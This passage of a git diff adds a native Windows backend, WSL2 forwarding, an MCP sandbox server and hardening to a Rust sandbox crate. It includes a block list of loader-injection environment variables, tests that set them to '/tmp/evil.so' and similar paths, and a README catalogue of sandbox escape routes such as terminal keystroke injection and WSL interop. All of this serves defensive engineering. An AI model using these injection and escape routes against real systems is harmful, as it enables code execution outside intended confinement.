fails open, except the owner channel, which fails @@ -927,7 +1169,8 @@ Environment variables: | Path | What it holds | |---|---| -| `~/.incode/admin.json` | Your settings | +| `~/.incode/admin.json` | Your settings, including your [permission rules](#permission-rules) | +| `~/.incode/mcp.json` · `~/.incode/mcp-approvals.json` | Your [MCP servers](#mcp-servers) · the project servers you approved | | `~/.incode/agents/*.md` | Your sub-agents, for every project | | `~/.incode/sessions/.json` | Session pointers, so a conversation can be reopened | | `~/.incode/history.txt` | The lines you typed | @@ -935,6 +1178,8 @@ Environment variables: | `/.incode/ledger.json` | What is being worked on in *this* checkout | | `/.incode/contracts.json` | Interfaces frozen before the work was split up | | `/.incode/guards.json` | Extra protected paths for this project | +| `/.incode/settings.json` | The project's `deny` / `ask` permission rules | +| `/.mcp.json` | The project's MCP servers (asked about before each first runs) | | `/.incode/agents/*.md` | The project's sub-agents | | `/.incode/checkpoints//` | Each turn's "before", for `/undo` and `/rewind` | | `/.incode/transcripts/` · `.incode/context/` | Session transcripts · oversized memory blocks | @@ -943,8 +1188,8 @@ Environment variables: | `/.incode/.gitignore` | Which of the above is this machine's own and is not committed | Per-project state lives **in the project**; `~/.incode` is yours. Of the -project's `.incode/`, commit `contracts.json`, `guards.json`, `agents/*.md` and -`.gitignore`; the `.gitignore` incode writes keeps the rest out. +project's `.incode/`, commit `contracts.json`, `guards.json`, `settings.json`, +`agents/*.md` and `.gitignore`; the `.gitignore` incode writes keeps the rest out. Task transcripts used to be written into `.incode/agents/`, beside the sub-agent definitions; each start moves any `*.jsonl` found there to diff --git a/crates/sandbox/Cargo.toml b/crates/sandbox/Cargo.toml index 83c6a04..c0928c9 100644 --- a/crates/sandbox/Cargo.toml +++ b/crates/sandbox/Cargo.toml @@ -25,6 +25,20 @@ toml = "1" [target.'cfg(unix)'.dependencies] libc = "0.2" +# The native Windows sandbox (`src/windows`): a write-restricted token, an +# ACE per writable root, and a job object. The same version and features incode +# itself already resolves (windows-sys 0.61.2 is in Cargo.lock), so nothing new +# is downloaded or linked. +[target.'cfg(windows)'.dependencies] +windows-sys = { version = "0.61", features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_Security_Authorization", + "Win32_System_Console", + "Win32_System_JobObjects", + "Win32_System_Threading", +] } + [target.'cfg(target_os = "linux")'.dependencies] landlock = "=0.4.7" diff --git a/crates/sandbox/README.md b/crates/sandbox/README.md index 5b59fcd..4044cad 100644 --- a/crates/sandbox/README.md +++ b/crates/sandbox/README.md @@ -57,15 +57,22 @@ An unknown key is an error, so a misspelt `wirte` can't silently do nothing. ## What is enforced, and how -| | Linux | macOS | Windows | +| | Linux | macOS | Windows (native) | |---|---|---|---| -| filesystem: write | Landlock (5.13+) | Seatbelt | **not yet** | -| filesystem: `deny_read` | Landlock | Seatbelt | **not yet** | -| network: `deny` | Landlock TCP (6.7+) + seccomp for every other socket | Seatbelt | **not yet** | -| network: `proxy` | Landlock: TCP only to the proxy's port; seccomp as for `deny` | Seatbelt: outbound only to the proxy | **not yet** | -| limits | `setrlimit` + wall clock | `setrlimit` + wall clock | wall clock | +| filesystem: write | Landlock (5.13+) | Seatbelt | write-restricted token + a per-run ACE on each root | +| filesystem: `deny_read` | Landlock | Seatbelt | **not enforced** (WSL2 does it) | +| network: `deny` | Landlock TCP (6.7+) + seccomp for every other socket | Seatbelt | **not enforced** (WSL2 does it) | +| network: `proxy` | Landlock: TCP only to the proxy's port; seccomp as for `deny` | Seatbelt: outbound only to the proxy | **not enforced** (WSL2 does it) | +| `.git/hooks`, `.git/config` | snapshotted, put back after the run | Seatbelt refuses the write | snapshotted, put back after the run | +| signals, abstract Unix sockets | Landlock scopes (6.12+): only within the sandbox | Seatbelt default | the token cannot open other processes for writing (measured by incode) | +| Windows programs (inside WSL2) | interop interpreter and sockets hidden, `WSL_INTEROP` removed, vsock refused | n/a | n/a | +| limits | `setrlimit` + wall clock; no core dumps | `setrlimit` + wall clock; no core dumps | job object: wall clock, CPU and committed memory per process; **no** `file_size_mb`, `open_files` | | environment | yes | yes | yes | +On Windows, `sbx.exe` runs natively when native enforces the whole policy, +and forwards it to the Linux `sbx` inside WSL2 when it doesn't (see +[Windows](#windows-native-or-wsl2)). + - **Every process it starts.** The confinement is applied in a helper process just before it execs the command. Children inherit it, and it can't be widened again (`no_new_privs` is set). @@ -89,6 +96,19 @@ An unknown key is an error, so a misspelt `wirte` can't silently do nothing. - The filter knows x86-64 and aarch64. On any other architecture none is installed, the network is reported **not enforced**, and strict mode refuses. +- **Terminal and VM-socket hardening.** The seccomp filter is also installed + whenever the filesystem is confined, not only under `deny`/`proxy`. It + always refuses: + - `ioctl(TIOCSTI)` and `ioctl(TIOCLINUX)` (EPERM), which would let a + command type keystrokes into the terminal it shares with your shell, to + run unconfined after it exits. Window size, termios and the other + terminal ioctls still work. + - `AF_VSOCK` sockets (EACCES): vsock reaches a VM's host directly, and on + WSL2 that means Windows interop. + - io_uring. + + A filesystem-only policy on an architecture without a filter runs without + this extra hardening. - **The proxy.** `proxy` mode runs an allowlisting HTTP proxy in the unconfined parent and points the command at it (`HTTP(S)_PROXY`). - It sees host names, not content: TLS is tunnelled with `CONNECT`. @@ -104,6 +124,27 @@ An unknown key is an error, so a misspelt `wirte` can't silently do nothing. - A symlink that leads into or above a hidden path isn't granted. - Not covered: a hard link to a hidden file made elsewhere beforehand, or the same directory mounted a second time. +- **The repository's hooks and config** (`fs.protect_git`, on by default). + - **Why:** a hook, or a `core.fsmonitor`/`core.hooksPath` line, is code + git runs the next time anyone uses the repository, outside any sandbox. + - **How (Linux):** Landlock can't make part of a writable root read-only + without also blocking file creation in the root, so `sbx` snapshots each + root's `.git/hooks` and `.git/config` before the run. Anything changed is + put back afterwards and reported (`protected path changed by the + command, restored …`, and `protected_restored` from `sbx mcp`). + - **How (macOS):** Seatbelt also refuses the writes. + - **Worktrees:** a `.git` file (`gitdir:`) and its `commondir` are + followed. + - **Opting out:** `--no-protect-git` for a run that should change hooks. +- **Signals and abstract sockets.** On Landlock ABI v6 (Linux 6.12+) a + sandboxed command can't signal processes outside its sandbox, or connect to + an abstract Unix socket made outside it (a D-Bus session bus, X11). `sbx + doctor` says whether the kernel does this. +- **Code the loader would inject.** `LD_PRELOAD`, `LD_AUDIT`, + `DYLD_INSERT_LIBRARIES` and `DYLD_FORCE_FLAT_NAMESPACE` are removed by + default (`env.strip_loader_injection`): they would load a library into + every program, the sandbox's own helper included. Core dumps are off + (`RLIMIT_CORE=0`), so a crash can't write the process's memory to disk. - **Process lifetime.** - With a wall-clock limit, the command gets its own process group. The limit kills all of it, and `SIGINT`/`SIGTERM`/`SIGHUP` sent to `sbx` are @@ -120,7 +161,144 @@ An unknown key is an error, so a misspelt `wirte` can't silently do nothing. - Landlock matches network ports, not addresses. Under `proxy` the command could connect to *any* host on the proxy's (random, high) port. - On macOS the profile is generated and unit-tested, but this crate's - network and `deny_read` clauses have not yet been run on a Mac. + network, `deny_read` and protected-path clauses have not yet been run on a + Mac. The profile still starts from `(allow default)`; a deny-by-default + profile (only the system services a build needs) is the next step there. +- The hook protection on Linux restores *after* the run. A hook planted + during the run would execute if someone ran git in that workspace before + the run ended. + +## Windows: native, or WSL2 + +`sbx.exe` has two backends, picked per run by `SBX_BACKEND`: + +| `SBX_BACKEND` | what runs | +|---|---| +| `auto` (default) | natively when native enforces everything the policy asks for; otherwise in WSL2 when it is set up; otherwise refused, naming both ways forward | +| `native` | always natively; what it can't enforce is refused (strict) or reported (`--best-effort`) | +| `wsl` | always the Linux `sbx` inside WSL2 | + +`SBX_NATIVE=1`, the older switch, still means `native`. `sbx doctor` shows +what native enforces and whether WSL2 forwarding is available. + +So a policy that confines files, environment and time runs natively, and +one that asks for `network: deny`/`proxy` or `deny_read` goes to WSL2. +`sbx mcp` follows the same rule from its ceilings: with `--net allow` it +runs natively, with `--net deny` (its default) or `proxy` in WSL2. + +### Native + +Ported from incode's own Windows sandbox, whose authors measured it on +Windows. **This crate's port has not run on Windows yet:** its tests +(`tests/escape_windows.rs`) run on the `windows-latest` CI runner. + +- **Writes.** The command runs under a *write-restricted token*: it reads + anything its user can, but writes only where the user may **and** one of + the token's restricting SIDs is granted. Those are a private SID made for + this run, `Everyone` (so `> NUL` works) and the logon SID (so the command + can start). The run's SID is granted `Modify`, as one inheritable ACE, on + each writable root and on the run's private temp directory, and nowhere + else. `read-only` grants only the temp directory. +- **The grant is per run.** Before the command starts, the ACE is added to + each root; after it exits, it is removed. NTFS writes an inherited ACE into + every object beneath a root, so this takes time in proportion to the tree + (incode measured about 2.5 s each way on 18,673 files). No file's contents + or modification time change, and incode found the tree's ACLs + byte-identical afterwards. A grant is written down first + (`%LOCALAPPDATA%\sbx\grants`). If `sbx` crashes, the next run removes + the ACE it left. A drive root and any folder holding your user profile + are refused as roots. +- **Everything it starts.** The command starts suspended, goes into a job + object, and only then runs. Everything it starts is in the job too and + cannot leave it. The job is killed when the command exits, at the + wall-clock limit, or when `sbx` itself dies. So on Windows nothing the + command started outlives the run, even without a time limit. +- **Limits.** `memory_mb` caps the memory each process *commits* (an + allocation beyond it fails), which is not quite `RLIMIT_AS`. `cpu_secs` + caps each process's user-mode CPU time. `file_size_mb` and `open_files` + have no Windows equivalent: asking for them is reported not enforced. + (`sbx mcp` sets no file size limit on Windows for this reason.) +- **Programs.** The program is found on `PATH` with `PATHEXT`, never in the + current folder, so a `cmd.exe` planted in the workspace is not picked up. + A `.bat`/`.cmd` runs through `cmd.exe /d`, so `cmd` parses its arguments. +- **Exit codes** are passed through whole (32 bits). + +**Not enforced natively, and why:** +- **Network.** No token restricts the network (incode measured TCP, HTTP and + HTTPS all working under it). Only an AppContainer does, and an AppContainer + reads only what is granted to it: the workspace, your toolchains, your + profile. `deny` and `proxy` go to WSL2 (`auto`) or are refused (`native`). +- **`deny_read`.** A write-restricted token checks its restricting SIDs only + for writes, so no ACE can hide a path from the sandbox alone. Denying your + own SID would hide it from you everywhere. A fully restricted token would + need everything a toolchain reads granted to it. So `deny_read` goes to + WSL2 (`auto`) or is refused (`native`). +- **Places `Everyone` may write** stay writable to the command, because + `Everyone` is one of the token's restricting SIDs. +- **Git Bash and every msys program** fail to start under the token: the + msys runtime maps a shared section the token may not map writable, and + dies with `CreateFileMapping ..., Win32 error 5` (measured by incode). + Use `cmd` or PowerShell natively, or `SBX_BACKEND=wsl` for a POSIX shell. + `sbx mcp` scripts default to PowerShell on Windows. +- **Grants are visible.** While a run lasts, every object under a root + carries the run's ACE, and the grant and revoke cost time on large trees. + +### WSL2 + +Inside WSL2 the sandbox is the Linux one: Landlock, seccomp, the git +protection and `sbx mcp` all apply unchanged. + +**Setup, once** (PowerShell, from the incode folder): + +```powershell +powershell -ExecutionPolicy Bypass -File scripts\install-windows.ps1 +``` + +It: +1. installs WSL2 and Ubuntu if they're missing (asks first, one + administrator prompt, usually a restart, then run it again); +2. builds the Linux `sbx` inside WSL2 at `~/.local/bin/sbx`; +3. builds `sbx.exe` and adds it to your PATH; +4. runs `sbx doctor`. + +**How `sbx.exe` forwards.** +- The command (`run`, `check`, `mcp`; `doctor` too under `SBX_BACKEND=wsl`) + is passed to the Linux `sbx` with `wsl.exe`, from the same folder. +- Paths are translated: `C:\work\app` becomes `/mnt/c/work/app`, and + `\\wsl$\Ubuntu\home\me` becomes `/home/me`. +- Output, input and the exit code pass straight through, so `sbx mcp` works + for agents on Windows too. +- **Choosing a distribution:** `SBX_WSL_DISTRO` picks one other than the + default. +- **Windows environment variables don't reach WSL** unless listed in + `WSLENV` (for example `WSLENV=ANTHROPIC_API_KEY`). +- The command must exist inside WSL (`python3`, not `python.exe`). + +WSL2 adds one way out that plain Linux doesn't have: starting a Windows +program (`cmd.exe`, `powershell.exe`, any `.exe` under `/mnt/c`), which +runs on Windows, outside the sandbox. When the filesystem is confined and +WSL is detected, `sbx` closes it (`fs.block_wsl_interop`, on by default): +- WSL's interop interpreter (`/init`, read from + `/proc/sys/fs/binfmt_misc/WSLInterop`) is hidden like a `deny_read` path, + so no `.exe` can start; +- `/run/WSL`, where the interop sockets live, is hidden and `WSL_INTEROP` + is removed; +- vsock is refused by seccomp. + +Hiding `/init` means `ls /` is refused inside the sandbox; files beneath +`/` still read normally. + +**Network inside WSL2:** `network: deny` needs Landlock's TCP rules (Linux +6.7+). On an older WSL kernel only UDP/DNS are blocked, `sbx doctor` says +the network is not enforced, and strict mode refuses `deny`/`proxy` rather +than pretend. Update WSL (`wsl --update`) for a newer kernel. + +**Tested:** the mechanism (a hidden interpreter can't run, directly or as +a script's) runs on every Linux CI machine. `tests/wsl.rs` tries the real +ways out (`cmd.exe`, `/mnt/c/.../cmd.exe`, `powershell.exe`, +`WSL_INTEROP`, `/run/WSL`), but only on a WSL2 machine. It has not run on +one yet, so run `cargo test -p incord-sandbox --test wsl` there before +relying on this. ## Exit codes @@ -132,6 +310,48 @@ An unknown key is an error, so a misspelt `wirte` can't silently do nothing. | 126 / 127 | the command could not be run / found | | 128 + n | it was killed by signal n | +## Sandboxes as a service: `sbx mcp` + +`sbx mcp` is an MCP server (stdio) that lets an agent work in sandboxes: +create one, write scripts and files into it, run them, read what they +produced, and delete it. Any agent that speaks MCP can use it: Claude Code, +Codex, incode, or your own. + +```json +{ "mcpServers": { "sbx": { "command": "sbx", "args": ["mcp", "--net", "proxy", "--allow-host", "pypi.org", "--allow-host", "*.pythonhosted.org"] } } } +``` + +| Tool | What it does | +|---|---| +| `sandbox_create` | A private folder. Network `deny` unless the agent asks for `proxy` with hosts (or `allow`) within the server's limits. Natively on Windows only `allow` can be enforced, and asking for anything else is refused at once, saying so. | +| `sandbox_write_file` | Write a script or file, creating folders; `executable` sets 755. | +| `sandbox_run` | Run `command` (argv) or `script` (text, run with `interpreter`, default `sh`; PowerShell natively on Windows) with optional `stdin`, `cwd` and `timeout_secs`. Returns `exit_code`, `stdout`, `stderr` (64 KB each), `timed_out` and `network_refused`. | +| `sandbox_read_file` / `sandbox_list` | Read results back (256 KB at most). | +| `sandbox_info` | The folder, network and limits, and what this machine enforces. | +| `sandbox_destroy` | Delete it. | + +The operator sets the ceilings when starting the server (`--net`, +`--allow-host`, `--max-wall`, `--policy` for environment and limits). An +agent can ask for less, never more, and a request above a ceiling is refused +rather than quietly lowered. + +By default every sandbox gets: +- no network; +- an empty environment apart from `PATH`, `HOME` and the other + essentials, so no host secrets; +- 4 GB of memory and 1 GB files per process (no file size limit natively + on Windows, which cannot enforce one); +- 120 seconds a run (at most 600). + +Every run is confined to its sandbox's folder. When a run ends, everything +it started is killed, so nothing keeps running in the background. + +The server itself is not confined, so the file tools only accept relative +paths with no `..`, and refuse any path through a symlink (each part is +checked). This stops a script from planting a link that would lead the +server out of the sandbox. Sandboxes are removed when the server stops, +unless `--keep` is given. + ## Using it from Rust ```rust @@ -156,7 +376,11 @@ holds the proxy and the temp directory. ## Tests `cargo test -p incord-sandbox` runs: -- the unit tests (policy, environment, allowlist, Seatbelt profile); +- `tests/mcp.rs`: `sbx mcp` driven over stdio like an agent drives it. It writes a script, runs it and reads its result; tries escapes (writing outside, the network, host secrets, a planted symlink, `..`, absolute paths); checks the time limit and background cleanup, the limits on what an agent may ask for, and that sandboxes are removed on exit; +- the unit tests (policy, environment, allowlist, Seatbelt profile, and the + Windows backend's pure parts on every platform: backend choice, SID and + record handling, root checks, program lookup, command-line quoting, job + limits, what each status reports); - on Linux, escape tests through the real binary: writes outside the root, symlinks, hard links, renames, `/proc/self/root`, child processes, reading a hidden path, connecting and binding under `deny`, UDP and raw sockets @@ -164,7 +388,14 @@ holds the proxy and the temp directory. `SIGKILL` cleanup, limits and exit codes; - on macOS, the same escapes against Seatbelt where they apply (writes, symlinks, children, read-only, `deny_read`, TCP under `deny`, the proxy, - the environment, the wall limit). + the environment, the wall limit); +- on Windows (`tests/escape_windows.rs`, with only `cmd` and PowerShell): + writes outside the root, the grant held during the run and gone after, + read-only and its private temp, child `cmd` and PowerShell, a planted + program in the current folder, the wall limit and killing `sbx` taking + the whole tree, the job's memory and CPU limits, the environment, exit + codes, refusing what native can't enforce, `auto` without WSL, `doctor`, + and `sbx mcp` run natively. Each escape test skips, and says so, on a kernel that cannot enforce what it checks. diff --git a/crates/sandbox/src/backend.rs b/crates/sandbox/src/backend.rs new file mode 100644 index 0000000..8050b70 --- /dev/null +++ b/crates/sandbox/src/backend.rs @@ -0,0 +1,188 @@ +//! On Windows, where a command runs: natively, or forwarded into WSL2. +//! +//! Native Windows confines writes (a write-restricted token), the +//! environment and the limits a job object can carry, but not the network +//! and not `deny_read` ([`crate::windows`]). WSL2 runs the Linux sandbox, +//! which enforces all of it, at the price of a Linux userland: the command +//! must exist inside WSL, and paths are translated. So `sbx.exe` picks per +//! invocation, from `SBX_BACKEND`: +//! +//! - `native`: always natively. What native cannot enforce is refused +//! (strict) or reported (`--best-effort`), as on every platform. +//! - `wsl`: always forwarded to the Linux `sbx` inside WSL2. +//! - `auto` (the default): natively when native enforces everything the +//! policy asks for; otherwise forwarded to WSL2 when it is set up; +//! otherwise refused, with both ways forward named, unless `--best-effort` +//! accepts running natively with less. +//! +//! `SBX_NATIVE=1`, the older switch, still means `native`. +//! +//! The choice is a pure function of the policy's gaps and whether WSL is +//! ready, so it is tested on every platform. + +/// Which backend was asked for. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Backend { + Native, + Wsl, + Auto, +} + +/// What to do with this invocation. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Choice { + Native, + Wsl, + /// Neither can run it as asked; the message says why and what to do. + Refuse(String), +} + +/// How to set up WSL forwarding, for messages. +pub const WSL_SETUP: &str = "set up WSL2 forwarding once (PowerShell, from the incode folder): \ + powershell -ExecutionPolicy Bypass -File scripts\\install-windows.ps1"; + +impl Backend { + /// The backend from the environment: `SBX_BACKEND`, else `SBX_NATIVE` + /// (any non-empty value but `0` means native), else `auto`. + /// + /// # Errors + /// When `SBX_BACKEND` names no backend: a typo must not silently pick one. + pub fn from_env(var: impl Fn(&str) -> Option) -> Result { + if let Some(v) = var("SBX_BACKEND").filter(|v| !v.trim().is_empty()) { + return match v.trim().to_ascii_lowercase().as_str() { + "native" => Ok(Self::Native), + "wsl" => Ok(Self::Wsl), + "auto" => Ok(Self::Auto), + other => Err(format!( + "SBX_BACKEND=`{other}` is not a backend (native | wsl | auto)" + )), + }; + } + match var("SBX_NATIVE") { + Some(v) if !v.is_empty() && v != "0" => Ok(Self::Native), + _ => Ok(Self::Auto), + } + } + + #[must_use] + pub fn as_str(self) -> &'static str { + match self { + Self::Native => "native", + Self::Wsl => "wsl", + Self::Auto => "auto", + } + } +} + +/// Where to run, given the backend asked for, what native Windows would NOT +/// enforce of the policy (`native_gaps`, as [`crate::Enforcement::gaps`] +/// words them), whether gaps were accepted (`--best-effort`), and whether +/// WSL forwarding is ready (asked only when it matters, since asking starts +/// WSL: `Ok` or the reason it is not). +pub fn choose( + backend: Backend, + native_gaps: &[String], + best_effort: bool, + wsl_ready: impl FnOnce() -> Result<(), String>, +) -> Choice { + match backend { + Backend::Native => Choice::Native, + Backend::Wsl => Choice::Wsl, + Backend::Auto if native_gaps.is_empty() => Choice::Native, + Backend::Auto => match wsl_ready() { + Ok(()) => Choice::Wsl, + Err(_) if best_effort => Choice::Native, + Err(why) => Choice::Refuse(format!( + "this policy asks for what native Windows cannot enforce:\n {}\n\ + and WSL2 forwarding, which would, is not available ({why}).\n\ + Either {WSL_SETUP} (sbx then forwards such policies there by itself), \ + or drop those parts of the policy (or accept them unenforced with \ + --best-effort).", + native_gaps.join("\n ") + )), + }, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn env<'a>(pairs: &'a [(&'a str, &'a str)]) -> impl Fn(&str) -> Option + 'a { + move |k| { + pairs + .iter() + .find(|(n, _)| *n == k) + .map(|(_, v)| (*v).to_string()) + } + } + + #[test] + fn the_backend_comes_from_sbx_backend_then_sbx_native() { + assert_eq!(Backend::from_env(env(&[])), Ok(Backend::Auto)); + assert_eq!( + Backend::from_env(env(&[("SBX_BACKEND", "WSL")])), + Ok(Backend::Wsl) + ); + assert_eq!( + Backend::from_env(env(&[("SBX_BACKEND", "native")])), + Ok(Backend::Native) + ); + assert_eq!( + Backend::from_env(env(&[("SBX_NATIVE", "1")])), + Ok(Backend::Native) + ); + assert_eq!( + Backend::from_env(env(&[("SBX_NATIVE", "0")])), + Ok(Backend::Auto) + ); + // SBX_BACKEND wins over the older switch. + assert_eq!( + Backend::from_env(env(&[("SBX_BACKEND", "auto"), ("SBX_NATIVE", "1")])), + Ok(Backend::Auto) + ); + assert!(Backend::from_env(env(&[("SBX_BACKEND", "wls")])).is_err()); + } + + #[test] + fn auto_runs_natively_when_native_enforces_everything_and_never_asks_wsl() { + let choice = choose(Backend::Auto, &[], false, || { + panic!("WSL must not be started when native suffices") + }); + assert_eq!(choice, Choice::Native); + } + + #[test] + fn auto_forwards_what_native_cannot_enforce_to_wsl_when_ready() { + let gaps = vec!["network: NOT ENFORCED - no token restricts the network".to_string()]; + assert_eq!(choose(Backend::Auto, &gaps, false, || Ok(())), Choice::Wsl); + assert_eq!(choose(Backend::Auto, &gaps, true, || Ok(())), Choice::Wsl); + } + + #[test] + fn auto_refuses_naming_both_fixes_when_wsl_is_not_there() { + let gaps = vec!["filesystem: NOT ENFORCED - deny_read".to_string()]; + let Choice::Refuse(why) = choose(Backend::Auto, &gaps, false, || { + Err("wsl.exe was not found".into()) + }) else { + panic!("must refuse"); + }; + assert!(why.contains("deny_read"), "{why}"); + assert!(why.contains("wsl.exe was not found"), "{why}"); + assert!(why.contains("install-windows.ps1"), "{why}"); + assert!(why.contains("--best-effort"), "{why}"); + // Best effort accepts the gaps and runs natively. + assert_eq!( + choose(Backend::Auto, &gaps, true, || Err("no".into())), + Choice::Native + ); + } + + #[test] + fn an_explicit_backend_is_obeyed_without_asking_wsl() { + let gaps = vec!["network: NOT ENFORCED".to_string()]; + let never = || -> Result<(), String> { panic!("not asked") }; + assert_eq!(choose(Backend::Native, &gaps, false, never), Choice::Native); + assert_eq!(choose(Backend::Wsl, &[], false, never), Choice::Wsl); + } +} diff --git a/crates/sandbox/src/env.rs b/crates/sandbox/src/env.rs index 3ea9650..d62a31f 100644 --- a/crates/sandbox/src/env.rs +++ b/crates/sandbox/src/env.rs @@ -41,6 +41,16 @@ pub const GIT_REDIRECTS: &[&str] = &[ "GIT_DISCOVERY_ACROSS_FILESYSTEM", ]; +/// Variables that make the dynamic loader inject code into every program the +/// command starts, the sandbox's own helper included, before it has confined +/// anything. Nothing a build or test needs; removed by default. +pub const LOADER_INJECTION: &[&str] = &[ + "LD_PRELOAD", + "LD_AUDIT", + "DYLD_INSERT_LIBRARIES", + "DYLD_FORCE_FLAT_NAMESPACE", +]; + /// Kept under `inherit = "none"`: without them almost nothing starts. pub const ESSENTIAL: &[&str] = &[ "PATH", @@ -55,6 +65,7 @@ pub const ESSENTIAL: &[&str] = &[ "TZ", // Windows: the loader, the shell and the profile directories. "SYSTEMROOT", + "SYSTEMDRIVE", "WINDIR", "COMSPEC", "PATHEXT", @@ -63,6 +74,13 @@ pub const ESSENTIAL: &[&str] = &[ "LOCALAPPDATA", "PROGRAMDATA", "PROGRAMFILES", + "PROGRAMFILES(X86)", + "PROGRAMW6432", + "COMMONPROGRAMFILES", + // Windows: what runtimes (.NET, PowerShell, compilers) read to size + // themselves for the machine. No secrets. + "PROCESSOR_ARCHITECTURE", + "NUMBER_OF_PROCESSORS", ]; /// Whether `name` matches `pattern`: exact, or a prefix when the pattern ends @@ -94,6 +112,9 @@ pub fn compute( if policy.strip_git_redirects { removed.extend_from_slice(GIT_REDIRECTS); } + if policy.strip_loader_injection { + removed.extend_from_slice(LOADER_INJECTION); + } let mut out: Vec<(OsString, OsString)> = inherited .into_iter() @@ -151,6 +172,8 @@ mod tests { ("Git_Dir", "/elsewhere/.git"), ("GIT_WORK_TREE", "/elsewhere"), ("ANTHROPIC_API_KEY", "k"), + ("LD_PRELOAD", "/tmp/evil.so"), + ("DYLD_INSERT_LIBRARIES", "/tmp/evil.dylib"), ("CLAUDE_CODE_OAUTH_TOKEN", "t"), ]), &[], diff --git a/crates/sandbox/src/lib.rs b/crates/sandbox/src/lib.rs index 1c90b0e..e5110f4 100644 --- a/crates/sandbox/src/lib.rs +++ b/crates/sandbox/src/lib.rs @@ -19,9 +19,12 @@ //! ``` //! //! On macOS the helper runs under `sandbox-exec` with a generated Seatbelt -//! profile instead of Landlock. The helper is the calling binary re-executed -//! with a private first argument, so a program that embeds this library must -//! call [`enter_if_requested`] first thing in `main`. +//! profile instead of Landlock. On Windows, which has no `exec`, the parent +//! grants the writable roots to a private per-run SID first, and the helper +//! starts the command under a write-restricted token, in a job object, and +//! stays to supervise it (see [`windows`]). The helper is the calling binary +//! re-executed with a private first argument, so a program that embeds this +//! library must call [`enter_if_requested`] first thing in `main`. //! //! # Platforms //! @@ -29,18 +32,26 @@ //! |---|---|---|---| //! | Linux | Landlock (5.13+) | Landlock TCP (6.7+) + seccomp | setrlimit + wall | //! | macOS | Seatbelt | Seatbelt | setrlimit + wall | -//! | Windows | not yet (see incode's ACL sandbox) | not yet | wall only | +//! | Windows | write-restricted token + ACL grant (writes only; no `deny_read`) | not enforced (WSL2: see [`backend`]) | job object + wall | +pub mod backend; pub mod env; pub mod limits; pub mod policy; +pub mod protect; pub mod proxy; pub mod seatbelt; +pub mod server; +pub mod wslpath; + +pub mod windows; #[cfg(target_os = "linux")] mod linux; #[cfg(target_os = "linux")] mod seccomp; +#[cfg(target_os = "linux")] +pub mod wsl; use std::ffi::OsString; use std::path::{Path, PathBuf}; @@ -131,6 +142,10 @@ pub struct EnterSpec { pub roots: Vec, #[serde(default)] pub deny_read: Vec, + /// Paths whose writes Seatbelt refuses (macOS); on Linux they are + /// restored after the run instead ([`protect`]). + #[serde(default)] + pub protected: Vec, pub temp: PathBuf, pub net_mode: NetMode, pub proxy_port: Option, @@ -141,6 +156,14 @@ pub struct EnterSpec { /// SIGKILL, which nothing can forward) the whole group dies with it. #[serde(default)] pub supervise: bool, + /// Windows: the run's private SID, granted on its writable roots and + /// temp directory; the helper restricts the command's token to it. + #[serde(default)] + pub sid: Option, + /// Windows: the parent's process id. The helper watches it and ends the + /// command's job if the parent dies (there is no parent-death signal). + #[serde(default)] + pub parent_pid: Option, } /// Call first thing in `main` of any program that embeds this library. When @@ -199,9 +222,9 @@ fn enter(args: &[OsString]) -> Result { .get(2) .ok_or_else(|| sandbox_err("helper started without a command"))?; let program_args = &args[3..]; - // Nothing in the spec is enforced by the helper off Unix yet: the parent - // already refused (strict) or reported (best effort) every gap. - #[cfg(not(unix))] + // Off Unix and Windows nothing in the spec is enforced by the helper: the + // parent already refused (strict) or reported (best effort) every gap. + #[cfg(not(any(unix, windows)))] let _ = &spec; // If the parent dies (SIGKILL included, which nothing can forward), the @@ -247,15 +270,23 @@ fn enter(args: &[OsString]) -> Result { } eprintln!("sbx: Landlock not applied (best effort): {e}"); } - // After Landlock, before exec: Landlock confines TCP, this refuses the - // sockets Landlock does not see (UDP, raw, ...). See `seccomp`. + // After Landlock, before exec: refuse terminal input injection, vsock and + // io_uring whenever anything is confined, and under deny/proxy also the + // sockets Landlock does not see (UDP, raw, ...). See `seccomp`. Only the + // socket layer is part of the network policy, so only it is fatal in + // strict mode; with the filesystem alone, an architecture without a + // filter is skipped quietly and a kernel refusal is reported. #[cfg(target_os = "linux")] - if spec.net_mode != NetMode::Allow { - if let Err(e) = seccomp::restrict_sockets() { - if spec.strict { - return Err(sandbox_err(format!("seccomp: {e}"))); + { + let network = spec.net_mode != NetMode::Allow; + let fs = spec.fs_mode != FsMode::Off && seccomp::available(); + if network || fs { + if let Err(e) = seccomp::install(network) { + if spec.strict && network { + return Err(sandbox_err(format!("seccomp: {e}"))); + } + eprintln!("sbx: seccomp not applied (best effort): {e}"); } - eprintln!("sbx: seccomp not applied (best effort): {e}"); } } @@ -263,6 +294,16 @@ fn enter(args: &[OsString]) -> Result { if spec.supervise { supervise(program, program_args, parent); } + // No exec on Windows: the helper starts the command confined, in a job, + // and stays to pass its exit code on. + #[cfg(windows)] + { + match windows::enter(&spec, program, program_args) { + Ok(code) => std::process::exit(code), + Err((message, code)) => Err(EnterError { message, code }), + } + } + #[cfg(not(windows))] exec(program, program_args) } @@ -338,9 +379,9 @@ fn exec(program: &OsString, args: &[OsString]) -> Result { }) } -#[cfg(not(unix))] +#[cfg(not(any(unix, windows)))] fn exec(program: &OsString, args: &[OsString]) -> Result { - // No exec on Windows: run it and pass its exit code on. + // No exec here: run it and pass its exit code on. let status = Command::new(program) .args(args) .status() @@ -367,8 +408,14 @@ pub struct Sandbox { /// temp directory. Dropped after the command exits. pub struct Guard { proxy: Option, + /// Windows: the run's ACL grant on its roots and temp directory, revoked + /// when dropped. Declared before `temp` so it drops first, while the + /// temp directory still exists to be revoked. + #[cfg(windows)] + _lease: Option, temp: TempDir, pub enforcement: Enforcement, + protected: Option, /// Whether the command runs in its own process group (only with a /// wall-clock limit and a non-terminal stdin); kill `-pid` to stop it all. pub own_group: bool, @@ -384,6 +431,16 @@ impl Guard { .unwrap_or_default() } + /// Put back whatever the command changed under the protected paths + /// (`fs.protect_git`), and say what. Call once the command has exited. + #[must_use] + pub fn restore_protected(&self) -> Vec { + self.protected + .as_ref() + .map(protect::Snapshot::restore) + .unwrap_or_default() + } + /// The command's private temp directory. #[must_use] pub fn temp_dir(&self) -> &Path { @@ -397,6 +454,8 @@ pub struct Outcome { pub status: ExitStatus, pub timed_out: bool, pub decisions: Vec, + /// Protected paths the command changed, which were put back. + pub restored: Vec, } impl Outcome { @@ -480,9 +539,51 @@ impl Sandbox { )); } let roots = 